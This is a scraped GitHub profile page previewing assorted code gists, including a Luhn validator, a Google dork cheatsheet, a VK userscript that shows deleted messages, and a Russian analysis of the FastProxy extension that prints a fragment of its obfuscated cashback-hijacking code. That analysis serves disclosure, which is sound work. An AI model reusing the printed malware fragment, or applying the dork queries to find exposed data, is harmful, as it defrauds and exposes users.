Skip to content

Instantly share code, notes, and snippets.

View milksense's full-sized avatar
🙂

milksense

🙂
  • Decentralized
View GitHub Profile
@EmmanuelGuther
EmmanuelGuther / LuhnValidator.kt
Created October 25, 2019 11:53
KOTLIN function to validate credit card numbers
class LuhnValidator {
fun isValid(cardNumber: String): Boolean {
var s1 = 0
var s2 = 0
val reverse = StringBuffer(cardNumber).reverse().toString()
for (i in reverse.indices) {
val digit = Character.digit(reverse[i], 10)
when {
i % 2 == 0 -> s1 += digit
else -> {
@promo4ka
promo4ka / showDeletedMessages.js
Created October 1, 2019 11:28
Показывает удаленные сообщения в открытом чате (ВКонтакте)
// ==UserScript==
// @name showDeleteMessages
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Показывает удаленные сообщения в открытом чате (ВКонтакте)
// @author @eee
// @match https://vk.com/im*
// @grant none
// ==/UserScript==

MongoDB Cheat Sheet

Show All Databases

show dbs

Show Current Database

@sundowndev
sundowndev / GoogleDorking.md
Last active July 13, 2025 23:50
Google dork cheatsheet

Google dork cheatsheet

Search filters

Filter Description Example
allintext Searches for occurrences of all the keywords given. allintext:"keyword"
intext Searches for the occurrences of keywords all at once or one at a time. intext:"keyword"
inurl Searches for a URL matching one of the keywords. inurl:"keyword"
allinurl Searches for a URL matching all the keywords in the query. allinurl:"keyword"
intitle Searches for occurrences of keywords in title all or one. intitle:"keyword"
Браузерное расширение FastProxy загружает с сервера вредоносный код,
перенаправляющий cashback от различных интернет-магазинов автору расширения.
Обфусцированный код:
$guNnnrhIFAMI27BsMFv=function(a){return"string"==typeof $guNnnrhIFAMI27BsMFv.list[a]?$guNnnrhIFAMI27BsMFv.list[a].split("").reverse().join(""):$guNnnrhIFAMI27BsMFv.list[a]},$guNnnrhIFAMI27BsMFv.list=["of\xE6\xFBiht\xFBlru?lxp\xFBepyt\x04u\xDFv?di_txe?re\xECh?htgnel?rekram?\xB7\x04cna\xE6f?urdj\x04man?omorpi\xDF?g\xE6kc\xF4b?tnemucod?urdj\xAB\xD0l\xABapc\xFB\xECl?\xBFH\xC3?g\xE6r\xD1bus?ofnIegnahc?\xEB\x04doNtnerap?\x0FTtes?fOxednI\xD1al\x04saCrewoLot\x04tadpu?\xF4\xC8c\xAB\xC1\xDE\xABaz\x03\xAB\x0FTraelc?\x7Far\xD1ig","\xAEX\xAD*' [:_a\x1F{\xBCV(2\xCD\xF3T\xD4\x1F}\xC9)0005\xBC}\xA6V(\xD3\xDB\xCD\xA63(va\xBE\x06\x1F ;)1\xBCi(ec\x1CT\xA5's\x7Fpo-\xC0-x\xF2Va\xD6(\xE8T\xCAVa\xE7=>i ;1-U\xB5T=\x0E1a\xCAT\xD8\xA51\x17V C\xA5( P\xDD\xC9}\xA3\x1F}\xA6a\xB2Z\xA9Z\xC2Sa-8<Sa-8\xB0x\xB2pa\xA9pa\xC28-\xDE<8-\xDE\xB0d\xB24\xA94\xC2Ra-mh<Ra-mh\xB0
@ahmadarif
ahmadarif / video.helper.ts
Created March 4, 2019 01:16
TypeScript Video Streaming
import { createReadStream, statSync } from 'fs';
export const videoStream = (req: any, path: string) => {
const stat = statSync(path);
const fileSize = stat.size;
const range = req.headers.range;
const res = req.res;
if (range) {
const parts = range.replace(/bytes=/, '').split('-');
$breakpoints: (
xs: 576px,
sm: 768px,
md: 992px,
lg: 1200px
);
@mixin min($breakpoint) {
@if map-has-key($breakpoints, $breakpoint) {
@media (min-width: map-get($breakpoints, $breakpoint)) {
@Sominemo
Sominemo / OnWord.class.js
Last active January 5, 2021 05:23
onWord (And OnWordListener) class to react on typing with a callback (minified: https://gist.github.com/Sominemo/ff8d65baf08e7dfaa24a2973f2bca4d6)
/**
* @typedef {Object} OnWordListenerInfo
* @property {function[]} callback Callbacks for the listener
* @property {boolean} case Case senisvity
* @property {boolean} debug Debug mode for the listener
* @property {number} stage Symbol number which will be checked on the next keypress
* @property {string} string String the item is listening for
*/
class OnWordListener {
@MPThLee
MPThLee / enableDiscordExperiments.js
Last active July 9, 2025 20:43
This code doesn't work anymore. I just decided to remove this code. You can check working code on comments.
/**
* !!!! This code doesn't work anymore !!!!
*
* - You can check working code on comments. I won't update this code anymore.
*
* Also, I just decided to remove this code. You can check revisions for old code.
* Since this code was made for discord client that almost 5 years ago, It seems like doesn't work anymore.
* I don't want people keep arguing in the comments, i decided to remove this code.
*
* Note: This code is now fulfilled with Javascript comments. This code won't work even if you pasted to console. doesn't do anything.